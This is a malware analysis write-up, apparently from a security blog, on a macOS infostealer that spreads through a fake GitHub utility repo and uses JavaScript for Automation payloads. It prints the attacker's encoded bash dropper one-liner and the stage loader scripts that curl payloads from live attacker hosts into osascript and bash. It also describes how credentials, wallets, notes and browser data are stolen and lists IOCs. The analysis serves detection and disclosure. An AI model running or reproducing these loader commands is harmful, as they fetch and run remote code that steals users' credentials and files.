Logo Lobster Den
Malware Analysis - is JXA the new trend?

Malware Analysis - is JXA the new trend?

December 26, 2025
4 min read
Table of Contents
index

Executive Summary

On 26 December 2025, a Reddit user reported a suspicious macOS infostealer distributed via a non-standard technique. Initial analysis revealed the malware was an infostealer leveraging JavaScript for Automation (JXA) payloads for execution…what?

reddit

Malware attachment (password is infected)

Technical Analysis

Distribution

The malware is distributed via a public GitHub repository masquerading as a legitimate macOS utility project. The attacker commits directly to this repo and uses it as a staging point for both the initial loader command (shown in the README/issues) and the JXA .aspx payloads that get pulled at runtime.

repo

Additionally, checking the commits, we can see the attacker has been actively maintaining this repo since October and has modified the C2 panel URL multiple times, swapping between different domains and Cloudflare Pages paths while keeping the overall loader logic the same. commit commit2

Another thing I observed is the C2 panel seem to remove the option to download a DMG file entirely but instead prompted the users to download the infostealer via Terminal. This was probably done since DMG files are not as effective as Terminal in bypassing macOS protections (GateKeeper/XProtect).

repo2

The one-liner is a base64-encoded, gzip-compressed Bash dropper:

echo 'H4sIANuiTWkAAwXBuxXCMAwAwJ4pvAD+xJYjsY0sWaSg8EOBR5HhuZPP+xXuHo7zXP5IKWutyMJNbRs7mggx4FZZLKvOERc/p0ed38S5FRsGE4h66bU0BYVOshsKUons6xeuMNiP2x+Uh3R5aAAAAA==' | base64 -d | gunzip | bash

decode

Payload Analysis

Stage 1 - Initial Loader

File: a041fbf5e599616314d5d569c7f8c891.aspx

Essentially, this script is the initial payload which generates a per-victim identifier and spawns the next stages via curl and osascript:

  • Logger/browser stealer: b4fcfa807bb21b3e2b3253bed12237bd.aspx
  • Orchestrator: 9cb18e2c998353746d647c16d9a780ae.aspx
#!/bin/bash
WID=$(uuidgen | md5)
nohup curl -s https://0d338aca4df2b78fcc9a5823acf0ddeb.pages.dev/b4fcfa807bb21b3e2b3253bed12237bd.aspx | osascript -l JavaScript - "$WID" > /dev/null 2>&1 &
nohup curl -s https://0d338aca4df2b78fcc9a5823acf0ddeb.pages.dev/9cb18e2c998353746d647c16d9a780ae.aspx | bash -s "$WID" > /dev/null 2>&1 &

Stage 2 - Orchestrator

File: 9cb18e2c998353746d647c16d9a780ae.aspx

This script glues together the credential-prompt module, the credential exfiltration, and the data grabber.

Observation:

  • Ensures a WID is available ($1 if provided by the initial loader, else it generates a new one).
  • Executes the credential prompt JXA (fa170cf6e405652540ad5987d4a3b8d2.aspx) and captures its JSON output in CREDS.
  • Starts two background JXA payloads:
    • 20872686c77b8a1e9c7c5bba9c47e591.aspx - credential exfil, called with WID and CREDS.
    • 16dce23e059928123e01ff53a3e352c5.aspx - broader data grabber, called with WID.
#!/bin/bash
WID="${1:-$(uuidgen | md5)}"
CREDS=$(curl -s https://0d338aca4df2b78fcc9a5823acf0ddeb.pages.dev/fa170cf6e405652540ad5987d4a3b8d2.aspx | osascript -l JavaScript - "$WID")
nohup curl -s https://0d338aca4df2b78fcc9a5823acf0ddeb.pages.dev/20872686c77b8a1e9c7c5bba9c47e591.aspx | osascript -l JavaScript - "$WID" "$CREDS" > /dev/null 2>&1 &
nohup curl -s https://0d338aca4df2b78fcc9a5823acf0ddeb.pages.dev/16dce23e059928123e01ff53a3e352c5.aspx | osascript -l JavaScript - "$WID" > /dev/null 2>&1 &

Stage 3 - Data Theft Components

Fake Password Prompt

File: fa170cf6e405652540ad5987d4a3b8d2.aspx

This script shows a GUI password prompt, validates the password, and returns JSON with valid and invalid attempts.

It begins with an obfuscated config and lock file setting:

img2

It checks if the password is valid via DSCL (a common method used by infostealers)

img3

Finally, the returns the JSON string for exfiltration.

img4

Credentials

File: 20872686c77b8a1e9c7c5bba9c47e591.aspx

This module takes the WID and credential JSON, derives a hardware fingerprint, and sends everything to https://cekrovnyshim[.]com/api/credentials.

Observation: The run() function constructs the class and calls an internal orchestrator method that:

  • Computes HWID and User-Agent. img5
  • Derives WID from args and parses the credentials JSON (valid/invalid). img6
  • Sends data to C2 via HTTP POST request. img7 img8

“Grabber”

File: 16dce23e059928123e01ff53a3e352c5.aspx This is the primary stealer. It collects multiple categories of data, compresses them into a ZIP under /tmp, and uploads to /api/grabber.

Observation:

  • Hard-coded C2 endpoint: img9
  • Builds HWID from IOPlatformUUID and uses it as User-Agent: img10
  • Steals crypto wallets via pax -rw from known paths: img11
  • Dumps Apple Notes to text files: img12
  • Final ZIP + exfil to /api/grabber: img13

Browsers

File: b4fcfa807bb21b3e2b3253bed12237bd.aspx This module steals browser data (logins, cookies, history, extensions) and sends a log archive to https://cekrovnyshim[.]com/api/log

Observation:

  • Hard-coded C2 endpoint: img14
  • Targets specific Chromium and Firefox data: img15
  • Copies browser extension data into a structured tree: img16
  • Uses the same HWID + curl pattern to exfiltrate: img17

Indicators of Compromise

IndicatorsTypeDescription
f5974ca0a70bdbe3a70627d86b468fc3[.]pages[.]devDomainC2 server
0d338aca4df2b78fcc9a5823acf0ddeb[.]pages[.]devDomainC2 server
cekrovnyshim[.]comDomainC2 server